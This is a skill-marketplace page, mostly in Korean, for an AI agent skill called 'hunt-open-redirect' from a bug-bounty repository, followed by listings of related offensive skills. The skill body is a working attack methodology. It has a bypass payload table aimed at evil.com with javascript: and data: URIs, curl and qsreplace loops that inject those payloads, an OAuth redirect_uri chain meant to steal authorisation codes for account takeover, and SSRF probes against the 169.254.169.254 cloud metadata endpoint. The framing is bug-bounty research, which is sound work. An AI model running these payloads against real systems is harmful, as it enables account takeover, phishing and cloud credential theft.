elementalsouls/claude-bughunter

hunt-open-redirect

Hunt Open Redirect — all types including low-impact, chained to OAuth token theft → ATO, phishing chains.

소스 보기

사용 방법

  1. 설치 명령을 복사하고 자신의 에이전트 환경에 설치하기 전에 소스 패키지를 확인하세요.
  2. 필요한 도구, 인증 정보, 지원 환경은 원본 문서에서 확인하세요.
  3. 입력과 원하는 산출물을 설명하고 출처와 결과를 대조하세요.
npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-open-redirect

시작 전 확인

  • 설치에는 모델 구독, API 한도, 파일 접근 권한이 포함되지 않습니다.
  • 별점 수와 설치 수는 활동 지표이며 독립적인 품질·보안 검증이 아닙니다.
원본 Skill 문서

원본 저장소의 제목, 예시, 코드, 표, 링크, 이미지를 유지해 표시합니다.

HUNT-OPEN-REDIRECT — Open Redirect

Crown Jewel Targets

Open redirect alone is Low. Chained to OAuth = Critical (ATO).

Highest-value chains:

  • Open redirect → OAuth auth code theft — redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
  • Open redirect → phishing — users trust the URL because it starts with target.com
  • Open redirect → SSRF escalation — if redirect followed server-side → SSRF
  • Open redirect → session fixation — force user to login endpoint with pre-set session

Attack Surface Signals

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Bypass Table

TechniquePayload
Basichttps://evil.com
Protocol relative//evil.com
Backslash bypass/\\evil.com
At-sign confusionhttps://target.com@evil.com
Double slash//evil.com/%2F..
URL encoding%2Fevil.com
Null byteevil.com%00target.com
Whitespaceevil.com%09 or %20
JavaScript URIjavascript:window.location='https://evil.com'
Data URIdata:text/html,<script>window.location='https://evil.com'</script>
Subdomainhttps://target.com.evil.com
Fragmenthttps://evil.com#.target.com

Step-by-Step Hunting Methodology

Phase 1 — Discover Redirect Parameters

bash
# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt

Phase 2 — Basic Test

bash
COLLAB="https://evil.com"
cat recon/$TARGET/redirect-candidates.txt | qsreplace "$COLLAB" | while read url; do
  LOC=$(curl -s -I --max-redirs 0 "$url" | grep -i "^location:")
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" --max-redirs 0 "$url")
  [ -n "$LOC" ] && echo "$STATUS | $LOC | $url"
done

Phase 3 — Bypass Techniques

bash
BASE_URL="https://$TARGET/redirect?url="
PAYLOADS=(
  "https://evil.com"
  "//evil.com"
  "/\\evil.com"
  "https://$TARGET@evil.com"
  "https://evil.com%23.$TARGET"
  "https://evil.com%09"
)
for P in "${PAYLOADS[@]}"; do
  LOC=$(curl -s -I --max-redirs 0 "${BASE_URL}${P}" | grep -i "^location:")
  echo "$P → $LOC"
done

Phase 3b — DOM-based open redirect (client-side sink)

Server-side Location: grepping misses redirects that happen purely in JS. Source (location.hash/location.search/document.referrer) assigned to a navigation sink.

bash
grep -rEn "location *=|location\.(href|assign|replace)\(|window\.open\(" recon/$TARGET/ --include="*.js" \
  | grep -iE "location\.(hash|search)|URLSearchParams|getParameter|referrer"
# Confirm in a browser (curl can't): open  https://$TARGET/page#https://evil.com  (or ?url=...)
# Common shape:  var u=new URLSearchParams(location.search).get('url'); location=u;

(PortSwigger: DOM-based open redirection.)

Phase 4 — OAuth Chain Test

bash
# If target has OAuth, check if redirect_uri accepts open redirect
grep -i "oauth\|authorize\|redirect_uri" recon/$TARGET/urls.txt | head -20

# Construct OAuth URL with open redirect as redirect_uri
# Normal: redirect_uri=https://target.com/callback
# Attack: redirect_uri=https://target.com/redirect?url=https://evil.com
OAUTH_URL="https://$TARGET/oauth/authorize"
curl -sv "$OAUTH_URL?response_type=code&client_id=CLIENT_ID&redirect_uri=https://$TARGET/redirect%3Furl%3Dhttps%3A%2F%2Fevil.com" 2>&1 | grep -i "location:"

Phase 5 — Server-Side Redirect (SSRF escalation)

bash
# If the app fetches the redirect target server-side (302 fetch follow)
curl -s "https://$TARGET/proxy?url=https://evil.com/redirect-to-169.254.169.254/latest/meta-data/"

# Or: if app makes HTTP request to the redirect destination
curl -s "https://$TARGET/fetch?url=http://169.254.169.254/latest/meta-data/" \
  -H "Cookie: $SESSION"

Automation

bash
# openredirex
pip3 install openredirex
openredirex -l recon/$TARGET/redirect-candidates.txt -p evil.com

# nuclei
nuclei -u https://$TARGET -t redirect/ -severity medium,high

# gf + qsreplace
cat recon/$TARGET/urls.txt | gf redirect | qsreplace "https://evil.com" | \
  xargs -I{} curl -s -o /dev/null -w "%{http_code} %{redirect_url}\n" --max-redirs 0 {}

Chain Table

Open redirect findingChain toImpact
Any open redirectOAuth redirect_uri bypassAuth code theft → ATO
Any open redirectPhishing URL with target domainSocial engineering
Server-side redirectSSRF via followed redirectInternal service access
Logout redirectSession fixationForce login with known session

Validation

✅ Location header in response points to evil.com (your controlled domain) ✅ Browser follows redirect to attacker-controlled page

Severity:

  • Redirect alone: Low (most programs)
  • Chains to OAuth code theft → ATO: High/Critical
  • Chains to phishing with brand name: Low-Medium
  • Server-side → SSRF: High

관련 작업

같은 저장소의 Skills

더 많은 Skills

모든 Skills
elementalsouls
커뮤니티

hunt-sharepoint

Hunt Microsoft SharePoint Server (2013/2016/2019/Subscription Edition) on-prem farms — anonymous endpoint enumeration, version disclosure, legacy SOAP login bypass (Authentication.asmx), ToolShell precondition chain (CVE-2025-53770), SafeControl reflection enumeration via Picker.aspx, NTLM Type-2 AD topology disclosure, custom-branding module discovery, EoL farm permanent-CVE-window exploitation, FormDigest anonymous issuance, file-extension blocklist NOT-an-oracle pattern, custom-zone Forms aut

1시간 설치 수
2
GitHub Stars
1.1만
업데이트
11월 18일
elementalsouls
커뮤니티

apk-redteam-pipeline

End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when

1시간 설치 수
1
GitHub Stars
8.9천
업데이트
11월 17일
elementalsouls
커뮤니티

bugcrowd-reporting

Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side

1시간 설치 수
1
GitHub Stars
8.9천
업데이트
11월 17일
elementalsouls
커뮤니티

cloud-iam-deep

Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume

1시간 설치 수
1
GitHub Stars
8.9천
업데이트
11월 17일